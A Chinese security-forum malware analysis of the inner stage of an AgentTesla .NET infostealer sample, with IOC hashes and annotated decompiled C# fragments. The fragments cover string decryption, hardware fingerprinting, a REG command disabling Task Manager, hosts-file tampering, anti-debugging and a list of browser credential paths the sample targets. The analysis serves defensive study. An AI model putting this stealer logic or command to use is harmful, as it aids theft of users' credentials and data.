问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
.NET 逆向——AgentTesla样本分析(下)
漏洞分析
此次分析的是 .NET APT 样本,用于学习和积累 .net 程序的分析方法,希望能给后面的人更多的经验分享。
0x00 前言 ======= 前面我们分析了样本的外层行为,参看[奇安信攻防社区-.NET 逆向——AgentTesla样本分析(上) (butian.net)](https://forum.butian.net/share/1834)。这里把内层行为也梳理了出来。内层窃密文件窃取了主流的浏览器、FTP、Email 等数据和账密,以及系统的各种信息和凭证,在分析的过程中也对 AgentTesla 家族手法特征能有个大致的了解。 0x01 IOC ======== | HASH | 值 | |---|---| | SHA256 | cc15dd0d04dfcb36288b53ddb6d438f751dc605bfd9c4e4170c93de56e449a10 | | SHA1 | 9badc97167d7b412d1d78d515b4abc76c7661039 | | MD5 | fa548af33ac073be63464186b33198aa | | SHA512 | 1b94d25cebd5dd7fbe32ce0269739e73efe370d85a15e7cef94dcdd4478dd80e354ca016963490420ba14969397be9fde967df5819e888579b2edc196c886b07 | 0x02 关键手法预览:(贯穿始终) ================== 字符串解密手法:(基本所有需要用的字符串都以解密进行) --------------------------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-e9f5a17f19a4b1192b5bc1f4ec15655f78d5b080.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-82c1ae4245c0eb0fb25383565c2eb485f94e0d36.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-6b5eff20b39784ff6fb0f2b4e32c2699276fb441.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-54bd4a4038100d16195e3bd63b889dfd2b059b83.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-755ee028b6ec037ceca58048556d13fec713e991.png) ```c# #### **@decrypt_the_string\u200F、 .@encrypt_string_place\u206A)** object[] u206A = .\u206A; //\u206A 前面存的都是密文和 IV,key 密钥的 uint[] 数组 if (Assembly.GetExecutingAssembly() == Assembly.GetCallingAssembly()) //在当前进程的话是必进条件 array = (uint[])u206A[num3]; //这是从 object[] u206A = .\u206A 处获取 0x173 的一个15个值得new uint[] 数组。 array2 = new byte[array.Length * 4]; //开辟了四倍空间,因为array是unit[]数组,array2是byte数组,就是拆分出来。 Buffer.BlockCopy(array, 0, array2, 0, array.Length * 4); //开始复制,把获取到的Uint类型转换成byte类型并赋值给array2数组,所以长度上扩大4倍。 Buffer.BlockCopy(array5, 0, array4, 0, num7); //把array2的前0x20个复制到array4 Buffer.BlockCopy(array5, num7, array3, 0, num8); //把array2的0x20处的0x10个值复制到array3处,截取了第3/4的部分。 Buffer.BlockCopy(array5, num7 + num8, array6, 0, num10); //把array2的最后0x10个赋值到array6部分 return Encoding.UTF8.GetString(.\u206B(array6, array4, array3)); //解密后的值解码为UTF8编码 ``` ```c# // Token: 0x06000003 RID: 3 RVA: 0x000176B8 File Offset: 0x000158B8 internal static byte[] \u206B(byte[] A_0, byte[] A_1, byte[] A_2) { Rijndael rijndael = Rijndael.Create(); //创建加密对象以执行 Rijndael 算法。类 Rijndael 是算法的前 Aes 身。 应使用 Aes 算法而不是 Rijndael。这是一个对称加密算法,IV和key分别是前0x20的byte和0x30的byte。 rijndael.Key = A_1; //获取或设置对称算法的初始化向量 (IV)。 rijndael.IV = A_2; //获取或设置对称算法的密钥。 return rijndael.CreateDecryptor().TransformFinalBlock(A_0, 0, A_0.Length); //使用指定的密钥和初始化向量 (IV) 创建对称 Rijndael 解密器对象。这里先转换指定字节数组的指定区域,要解密的是最后0x10个byte } ``` **休眠函数,拖慢分析时间:** ---------------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-5563432dae59e7b778ac920131180e9f22d571ab.png) 0x03 内层窃密程序 =========== **杀掉原来的进程:** ------------ ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1ba8781c1431581e54d696cf456467b64c82d4e6.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1f3641d4fcf88166134ec9ad3a4b4fc08a21b0ed.png) ```c# kqb.kel() //下面是kqb.kel函数的行为 string processName = Process.GetCurrentProcess().ProcessName; //将现有资源与新Process组件相关联。并获取该进程的名称。 id = Process.GetCurrentProcess().Id; //获取关联进程的唯一标识符。 Process[] processesByName = Process.GetProcessesByName(processName);//获取在本地计算机上运行的所有同名的实例。应该有两个的因为这里是从原来程序中缕空出来的,而原来进程还在。 process = array[num3]; if (process.Id != id)//判断当前 ID,选择同名进程中的另一个。 process.Kill(); //杀掉原先进程 ``` **获取主板信息,CPU 信息,MAC 值 并进行 MD5 加密:** ----------------------------------- **获取主板信息:** ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-d9c1663dc05b2aef680a6f1d72dd2872b4fccdcd.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-2f093a4c501fed8bb60fd6c8508220dc6972bc83.png) ```c# zsy() //下面是从该函数中提取出来的,被重命名为 @get_hardware_UUID() object objectValue = RuntimeHelpers.GetObjectValue(Interaction.GetObject(.@decrypt_the_string\u200F(122292), null));//Interaction.GetObject(.\u200F(122292), null)的参数填充成 Interaction.GetObject(“WinMgmts”, null) 返回对 COM 组件提供的对象的引用。这里获取的是WMI对象。接着最外层是RuntimeHelpers.GetObjectValue 将值类型装箱。 string text = string.Empty; object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, .@decrypt_the_string\u200F(121932), new object[] { .@decrypt_the_string\u200F(121956) }, null, null, null)); //执行后期绑定属性获取或字段访问调用,这里在前面封装的WMI实例中调用 InstancesOf,传入参数是Win32_BaseBoard。WinMgmts.InstancesOf 获取计算机子集中 Win32_Process 的所有实例。然后在Win32_Process对象上调用 Win32 提供程序方法Win32_BaseBoard,Win32_BaseBoardWMI 类存的信息表示基板,也称为主板或系统板。 object objectValue3 = RuntimeHelpers.GetObjectValue(enumerator.Current); text = Conversions.ToString(Operators.ConcatenateObject(text, NewLateBinding.LateGet(objectValue3, null, .@decrypt_the_string\u200F(121980), new object[0], null, null, null))); IEnumerator enumerator = ((IEnumerable)objectValue2).GetEnumerator(); if (enumerator.MoveNext()) object objectValue3 = RuntimeHelpers.GetObjectValue(enumerator.Current); // 枚举数位于第一个元素之前,直到第一次 MoveNext() 调用。所以MoveNext是获取第一个Win32_BaseBoard类并将其封装。 text = Conversions.ToString(Operators.ConcatenateObject(text, NewLateBinding.LateGet(objectValue3, null, .\u200F(121980), new object[0], null, null, null))); //其中 .\u200F(121980) 继续解密出 "SerialNumber",那么就是获取 Win32_BaseBoard.SerialNumber 字段信息,这是用于标识物理元素的制造商分配的编号。然后 Operators.ConcatenateObject 返回一个字符串,表示 Left 和 Right 的串联。此时 text 是空字符串,所以就是串联起来就是标识物理元素的制造商分配的编号。最后 Conversions.ToString 将对象转换为 String 值,但是返回的是 None,说明没有这个编号值。 if (enumerator.MoveNext()) //这里已经没了,最后一个了,所以不会再重复获取编号了,goto IL_90就是跳转到前面获取编号的地方。 {goto IL_90;} IEnumerator enumerator; if (enumerator is IDisposable) //判断是不是释放非托管资源的机制?可能是故意产出异常,应该也是顺序执行的一种吧。 return result //返回Null ``` **获取 CPU 信息:** ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7effcae3145b5a0769fd5e0b3be9440e8ccdded0.png) ```c# zgw() //函数中提取出来的,被命名为 @get_cpu_information ManagementClass managementClass = new ManagementClass(.@decrypt_the_string\u200F(122124));//其中.@decrypt_the_string\u200F(122124)解密出"win32_processor"。可以创建 ManagementClass 对象来直接访问类定义,这里使用名称作为路径创建新的 ManagementClass 对象以检索类。 //Win32_ProcessorWMI 类表示可以解释Windows操作系统上运行的计算机上的指令序列的设备。 ManagementObjectCollection instances = managementClass.GetInstances();//返回该类的所有实例的集合,这里获取的是设备的实例。 ManagementObjectCollection.ManagementObjectEnumerator enumerator = instances.GetEnumerator();//又枚举实例了。 if (!enumerator.MoveNext()) text = managementObject.Properties[.@decrypt_the_string\u200F(122148)].Value.ToString(); //这里解密出processorid,ManagementBaseObject.Properties 获取描述管理对象属性的集合,这里是获取 win32_processor.processorid 描述处理器功能的处理器信息. ((IDisposable)enumerator).Dispose(); return ``` **获取网卡 MAC 地址:** ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1d5f8c57ee149e1dd8b1f2c5966449922a987961.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-5665b66b25dc976bb3f653511f2e5e065e442fc6.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1519937fc027a41c70651f6df62245508d62fcdc.png) ```c# zjo() //函数中提取出来的, ManagementClass managementClass = new ManagementClass(.@decrypt_the_string\u200F(122324)); //同样的这里解密出 "Win32_NetworkAdapterConfiguration",Win32_NetworkAdapterConfigurationWMI 类表示网络适配器的属性和行为。 此类包括支持管理独立于网络适配器的 TCP/IP 协议的额外属性和方法。 instances = managementClass.GetInstances(); //获取对象实例 ManagementObjectCollection.ManagementObjectEnumerator enumerator = instances.GetEnumerator(); if (enumerator.MoveNext()) managementObject = (ManagementObject)enumerator.Current; if (Conversions.ToBoolean(managementObject[.@decrypt_the_string\u200F(122348)])) //解密出"IPEnabled",Win32_NetworkAdapterConfiguration.IPEnabled 如果为 TRUE,则 TCP/IP 在此网络适配器上绑定并启用。我这里第一次返回 false,第三次返回true text = managementObject[.@decrypt_the_string\u200F(122372)].ToString(); //解密出 "MacAddress" ,win32_networkadapterconfiguration.MACAddress 表示网络适配器的媒体访问控制 (MAC) 地址。所以搭配前面就是获取绑定 IP 的网卡的 MAC 地址。 text = text.Replace(":", string.Empty); //拆分MAC地址 return result; //返回中间没有 : 的MAC连起来的值 ``` **MD5 加密:** ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-8d4eab8c3ce60df8d5f92b133c6db7895491c87e.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-80c86fce538b1b0ed45a4a843f55fa6ea64b312d.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-237a19efaa0b3c83df318e84626e712fba73b3d6.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-6cc5bd32a1e4b4a6b3f2332d165daae4d72d9a52.png) ```c# byte[] array = qtc.ComputeHash(Encoding.UTF8.GetBytes(qtv)); //先把串联的UUID和MAC地址转换为utf8编码后计算指定字节数组的MD5哈希值。 StringBuilder stringBuilder = new StringBuilder(); ///初始化StringBuilder 类,表示可变字符字符串。 stringBuilder.Append(array[num3].ToString("x2")); //先把array[0]的0xA3转换格式成x2的小写的16进制且2位输出。然后追加到stringBuilder中,就是{a3}。 stringBuilder.Append("-"); //然后在混淆过的顺序中不断 num3++ 且stringBuilder.Append(array[num3].ToString("x2")); 搭配 stringBuilder.Append("-"); 最后得到字符串是 {a32d-5a5f-f248-60ac-fd2e-0006-0374-032a} return stringBuilder.ToString().ToUpper(); //最后变成大写输出 ``` **获取系统用户名,计算机名,本地路径信息:** ------------------------ ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-2cd7e18f89bf700686ed7ce14cb57bbf070a74a8.png) ```c# kqb.zcg = SystemInformation.UserName + "/" + SystemInformation.ComputerName; //获取与当前线程相关联的用户名。获取本地计算机的 NetBIOS 计算机名称。这里获取到"xxx/DESKTOP-DL5BA6A" kqb.zmy = Environment.GetEnvironmentVariable(.@decrypt_the_string\u200F(113836)) + .@decrypt_the_string\u200F(113860); //第一个解密出"%startupfolder%"(好像是开机启动项),从当前进程检索环境变量的值,这里检索 Startup 文件夹的完整路径,但是并没有该文件夹,第二个解密出 "\%insfolder%\%insname%" kqb.@get_current_path = Assembly.GetExecutingAssembly().Location; ``` **以线程模式运行禁用注册表的函数:** -------------------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-eca1e3e0cb58b228127f35945c029683e88db8f5.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-9b50bd39e81b556dd60a5e3a59443bcc1255564d.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-0f68e9e62a73181a5ee8f468e2a2212c01b9f137.png) ```c# kqb.@confuse_sleep(25, 20); //时间混淆,拖慢分析进度。 thread = new Thread(new ThreadStart(kqb.koy)); //初始化 Thread 类的新实例,创建执行静态方法kqb.@registry_operation的线程。 thread.IsBackground = true; //以后台模式创建kqb.koy方法的线程 thread.Start(); //开启该线程 @registry_operation 函数 Interaction.Shell(.@decrypt_the_string\u200F(118100), AppWinStyle.NormalFocus, false, -1); //运行一个可执行程序,并且如果该程序仍在运行则返回一个包含该程序的进程 ID 的整数。窗口具有正常焦点,不设置超时。 //"REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f" //禁用注册表,命令参考:https://jingyan.baidu.com/article/363872ec349b212f4aa16f20.html ``` **试图操作 HOST 文件:** ----------------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-f4a139e5608dc7e8bd3544cd2d8fee7b7c922e67.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-13081665092f0438d98de65dd4f1d57228cd6fda.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-dc91cb88a3fd8d190874ddb5f4fc9fe44f8e7155.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-9d68844a2df4b67965b2d94200099373c57e77e3.png) ```c# string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System); //获取指定系统特殊文件夹的路径,这里指定system目录路径的枚举常数。值为@"C:\Windows\system32" string path = folderPath + .@decrypt_the_string\u200F(113500); //拼接上解密的为@"C:\Windows\system32\drivers\etc\hosts" streamWriter = new StreamWriter(path, true); //实现一个 TextWriter,使其以一种特定的编码向流中写入字符。用默认编码和缓冲区大小,为指定的文件初始化 StreamWriter 类的一个新实例。 如果该文件存在,则可以将其覆盖或向其追加。 如果该文件不存在,此构造函数将创建一个新文件。 //这里就是创建了一个文件夹,这是想追加数据到我的域名解析文件啊。但是被拒绝了且抛出异常 //然后我设立权限看看它写入了啥东西 streamWriter.Write(.@decrypt_the_string\u200F(113524) + array[num6]); //将数据写入流,这里写入的竟然是 /r/n127.0.0.1 streamWriter.Dispose(); // 释放由 TextWriter 对象使用的所有资源。 ``` **检测时间间隔来反调试:** --------------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-68162599a07ecb12e1a103058bd32afabb078d83.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-8605b0cf61bb4488e054a61a1c4065e8c1fbe96a.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-90fd47a10b422eb91613e62d07809615763f2982.png) ```c# System.Timers.Timer timer = new System.Timers.Timer(); //初始化 Timer 类的新实例,并将所有属性设置为初始值。 timer.Elapsed += kqb.kdv; //达到间隔时发生的一个处理程序,这是一个函数。这个是反调试的检测时间函数。 timer.Enabled = true; //默认重复触发事件 timer.Interval = 30000.0; //设置30秒重复一次 timer.Start(); //开始引发 Elapsed 事件。 ``` ```c# kdv(object kdn, ElapsedEventArgs kdp) //函数重命名为@time_debug kqb.zfs.cbSize = Marshal.SizeOf(kqb.zfs); kqb.zfs.dwTime = 0; kqb.kqd(ref kqb.zfs); //空函数类public static extern bool kqd(ref kqb.dp kqf);没有实体 if (checked((int)Math.Round((double)(Environment.TickCount - kqb.zfs.dwTime) / 1000.0)) > 600)//Math.Round 将值舍入到最接近的整数或指定的小数位数。Environment.TickCount 获取系统启动后经过的毫秒数。好家伙,这里检测时间,进去之后搭配外层的30秒执行一次,出不去了。 { num = (num2 * 2981239591U ^ 3031382484U); continue; } ``` **想获取前面解密的 \\%insfolder%\\%insname% 文件信息:(猜测是某个软件的安装路径吧)** ---------------------------------------------------------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-45f6cf439cc1cec72e019b9e7a51e4f1c10aa4d6.png) ```c# kqb.kao(kqb.@environment_variable); //之前获取的字段值为@"\%insfolder%\%insname%",这应该是某个软件的路径吧。 if (File.Exists(kay)) //判断环境变量文件是否存在,可惜不存在,然后就退出了 ``` 批量浏览器操作:(这里的批量操作应该是解密手法一样,因为后面有大量单独的程序窃密操作) ------------------------------------------- **获取公共储存库的 LOCAL 目录并拼接要检索的浏览器路径** ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-e055dce710113b055b703080fc46256af5e0fad7.png) **批量生成要检测的浏览器及其默认路径存入列表中,然后打乱顺序:** ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-6ab96162ade519df913f48d7bb373ee1504b75bb.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-58afaa0c508a25f77290949b9dd3c41b25c194a9.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-f3b8ca7a6efcb92a17c586044f13ca3100d256a3.png) ```c# 第一个:"Opera Browser" @"C:\Users\xxx\AppData\Roaming\Opera Software\Opera Stable" true 第二个"Yandex Browser" @"C:\Users\xxx\AppData\Local\Yandex\YandexBrowser\User Data" true 第三个:"360 Browser" @"C:\Users\xxx\AppData\Local\360Chrome\Chrome\User Data" true 第四个:"Iridium Browser" @"C:\Users\xxx\AppData\Local\Iridium\User Data" true 第五个:"Comodo Dragon" @"C:\Users\xxx\AppData\Local\Comodo\Dragon\User Data" true 第六个:"Cool Novo" @"C:\Users\xxx\AppData\Local\MapleStudio\ChromePlus\User Data" true 第七个:"Chromium" @"C:\Users\xxx\AppData\Local\Chromium\User Data" true 第八个:"Torch Browser" @"C:\Users\xxx\AppData\Local\Torch\User Data" true 第九个:"7Star" @"C:\Users\xxx\AppData\Local\7Star\7Star\User Data" true 第十个:"Amigo" @"C:\Users\xxx\AppData\Local\Amigo\User Data" true 第十一个:"Brave" @"C:\Users\xxx\AppData\Local\BraveSoftware\Brave-Browser\User Data" true 第十二个:"CentBrowser" @"C:\Users\xxx\AppData\Local\CentBrowser\User Data" true 第十三个:"Chedot" @"C:\Users\xxx\AppData\Local\Chedot\User Data" true 第十四个:"Coccoc" @"C:\Users\xxx\AppData\Local\CocCoc\Browser\User Data" true 第十五个:"Elements Browser" @"C:\Users\xxx\AppData\Local\Elements Browser\User Data" true 第十六个:"Epic Privacy" @"C:\Users\xxx\AppData\Local\Epic Privacy Browser\User Data" true 第十七个:"Kometa" @"C:\Users\xxx\AppData\Local\Kometa\User Data" true 第十八个:"Orbitum" @"C:\Users\xxx\AppData\Local\Orbitum\User Data" true 第十九个:"Sputnik" @"C:\Users\xxx\AppData\Local\Sputnik\Sputnik\User Data" true 第二十个:"Uran" @"C:\Users\xxx\AppData\Local\uCozMedia\Uran\User Data" true 第二十一个:"Vivaldi" @"C:\Users\xxx\AppData\Local\Vivaldi\User Data" true 第二十二个:"Citrio" @"C:\Users\xxx\AppData\Local\CatalinaGroup\Citrio\User Data" true 第二十三个:"Liebao Browser" @"C:\Users\xxx\AppData\Local\liebao\User Data" true 第二十四个:"Sleipnir 6" @"C:\Users\xxx\AppData\Local\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer" true 第二十五个:"QIP Surf" @"C:\Users\xxx\AppData\Local\QIP Surf\User Data" true 第二十六个:"Coowon" @"C:\Users\xxx\AppData\Local\Coowon\Coowon\User Data" true ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-bf8a05f30f31737cb9f2a3bc4b416df6342f8333.png) ### **开始遍历路径:** ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-92ccf6cf275b0da358bd0e7033798c8574dd2768.png) #### **检测并获取 Login Data 默认存储位置:** ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-42dd1db34cc9d12fdc2fef09a649e95dfb8d3875.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-eb48b9372b420f3668f4507cee28752a3e3158eb.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-f3777f33a3b8ef7635a86e1fa1c71e2500c69be5.png) #### **读取 Lgin Data 文件内容,预览信息,Logins 表字段:** ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-58af68b35b992808f05eda3f5a6ac643a0d634a8.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-f1739ce43823a03409e17b2c79dd425fbf6008f5.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-9b862499555857a7bbe7f50bc34f6f46d1912b14.png) #### 定位 Local State 文件,获取 Local Data 数据的加密密钥: ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-4a5870bdc051c3f4484d057fd82b78ce9096a26d.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-41feff3768b55767b910e7ed2b17de25ac488e42.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-ad7eea8f89bcd2b42797afccd525765b8bb68327.png) #### 从前面获取到的预览信息中提取特定字段值并尝试解密:(可能因为版本没对上,所以解密失败了) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-bae96b2ccc4336d9a887750d51035354daf7e0d8.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-e895f933ba7bb8e1effd240deba57ef81e639ef9.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-17a4552cece8f7408f0688810fcbae7bc9f2d89d.png) 单独开启 edge 浏览器的数据窃密: ------------------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-eed49c7a49be9c9dcbbc3c3e21d6a4acd2af7333.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-0e6f6cb2636ba601d5963cd9542f5469ea1920d0.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-698ea7cd5d3bd023bce85fc41e5b4db82f6bd553.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-9e08e539fad177540f137e44d5f62a4487b0427c.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-126eeb665259631d98626ace4cd419de90b9f6a6.png) 查看 wifi 配置:(可惜虚拟机没网卡) --------------------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-c15b78ff840a3bed76524dac62f0c7f6a76d2b43.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-5d083b22ee43c127646c9b046cb55894a836b6a0.png) 单独程序的窃密:(只跟了两个程序看操作,其它实在跟不了了~-~) -------------------------------- ### 操作 pocomail 程序:(专门下载了该程序为例子查看其操作) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7e81db92c897ad30380c1db45696276cc5dff0a8.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-d6ec5bead9e819888e4a56dc2d18e92292bf7bef.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-9d0b7711006338e525a17eab4a977d1135a88aec.png) ### 操作 IncrediMail 程序:(也专门下载了该程序为例子查看其操作) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-4c7b5cb103dbabd36b51b119c9798ea43ca93eff.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-90128f01ceeb480d4d664a05ef39d28d90d84bd2.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-35336bcc0897894404457842e2ea1c29e6584549.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1ec06a7a2242ee80a836e0b3667d7d14864c907c.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-e6b2779dcd36b783a3402f3beb328dcb8145b0a6.png) ### 其它单独的程序: ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-4b309aa45994ac51d3798d1fb21d3a05296e9815.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-e58557e302c6e851e8452c760ad51ac3ce26755e.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-43a451cf09e61461350ae25fb46e059bf653a318.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-dd22818f130628283a0110160c1b554fba95c62b.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-8ac21cbb6d795a388ec044898bf79c86033885e8.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-bb7a5b8154b06046c0db73045ea47105d6fe959c.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-5df78cae150a163038d913a51893cd0dfa8a7e44.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7887b47eda0178d192b96fc58e092b843415ff8d.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-de5d206372b26a07043213d03a8407574fbdba87.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-79de29de3ad6b5fc074ddea94681dc634767243e.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1ae153c08a9a218172b45c16ad2dab68b5f15740.png) 遍历窃取到的信息: --------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-5015cb3f799ad5abddedab2a7e7241fa6bd79640.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-920621b5a6ce4163eaa3e5001a18dfe49b0b0a7e.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-687ab75be29c853f6e3e6146413bbf70f1c6023f.png) 填充整合数据,准备邮箱传输: -------------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-2725bb831cf7fd6ef48b5c0cad08c9bf150e6c20.png) ### 第一个:拼接“PW"标识和用户名与计算机名: ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-478459d3f1feebe930cd8957f008f68d59d91564.png) ### 第二个:获取时间、CPU、内存、系统全名等信息 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-99e4144d14bd4d5cd58020413aeec490c2016816.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-8bdbf20f797f083f25bee02e4d2f54f275744244.png) ### 第三个:拼接前面的窃密信息: ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-65f0d3c00f7eb9a57b8f6593a701c56d7b69fef2.png) ### 最后邮箱操作,并把前面的信息作为参数传入 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-f3336cf5204f1055d70988f6635b0b32a2a0c34d.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-bbfc38e622b73bae766e1272819a41093ba77449.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-e1d4cea8e8aedbb34ff0fa73c8a60cb0eca96cc1.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1cbc2a0179070728d8e1a7839edef6c30983f2bb.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-30cbad5ad77d2b1e638ef066ea7d63f24a60673b.png) 最后一步,循环运行线程: ------------ ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-28839f3eac7633f6e13e62747932464d63dd6098.png) 0x04 手法总结 ========= 程序全部字符串基本都由解密而来,中间时不时使用休眠函数拖慢分析进程,甚至还开了一个时间反调试线程,但是很容易就绕过了,没有检查虚拟机进程这些手法。 系统相关敏感信息中有使用系统属性直接获取,也有大量调用 WMI 来获取。前面使用相同解密手法窃密一批浏览器的数据,后面使用不同的手法解密单独的其它程序,那应该是后面的程序加密手法不一样了。 从操作的程序可以看到涉及大量浏览器、FTP、Email、SSH 等通信工具,在截图中我也一一重名名了,由此可见 Agent tesla不愧被称为间谍软件。中间还有一些获取各种 windows 系统凭证的操作,只不过当时不知道,现在也截不了图了(懒得调了)。 接着再收集一波系统配置之后把前面能成功窃取到的信息按 html 格式整理好,打好标签,填充预定义的账号密码发送出去。最后就在后台循环运行程序了,由此程序手法分析得差不多了。 没分析到的手法有如何通过 local data 的 SQLite 文件定位并获取到数据块,程序是通过结构字段来定位的,类似于 PE 结构,可惜我对 SQLite 文件结构不熟悉,只能放在以后研究了。还有就是其它单独程序的窃密手法,实在太多了,没法一个个跟进分析了。。。 0x05 函数链划分:(一些数据混杂的和解密账密的没划分出来) =============================== 判断条件: Assembly.GetExecutingAssembly() ---->Assembly.GetCallingAssembly() 字符串解密: uint数组---->new byte()---->Buffer.BlockCopy---->Rijndael.Create()---->rijndael.Key = A\_1---->rijndael.IV = A\_2---->rijndael.CreateDecryptor().TransformFinalBlock(A\_0, 0, A\_0.Length) 休眠函数: `if(kqc < kqv)---->threed.sleep` 杀掉同名缕空的原进程: ```c# Process.GetCurrentProcess().ProcessName---->Process.GetCurrentProcess().Id---->Process.GetProcessesByName(processName)---->if (process.Id != id)---->process.Kill() ``` 获取主板信息: ```c# RuntimeHelpers.GetObjectValue(Interaction.GetObject(“WinMgmts”, null))---->RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, InstancesOf, new object[]{Win32_BaseBoard}, null, null, null))---->((IEnumerable)objectValue2).GetEnumerator()---->enumerator.MoveNext()---->RuntimeHelpers.GetObjectValue(enumerator.Current)---->Conversions.ToString(Operators.ConcatenateObject(text, NewLateBinding.LateGet(objectValue3, null, "SerialNumber", new object[0], null, null, null)))---->if (enumerator is IDisposable) ``` 获取 CPU 信息: ```c# new ManagementClass("win32_processor")---->managementClass.GetInstances()---->instances.GetEnumerator()---->enumerator.MoveNext()---->managementObject.Properties[processorid].Value.ToString()---->((IDisposable)enumerator).Dispose() ``` 获取网卡 MAC 地址: ```php new 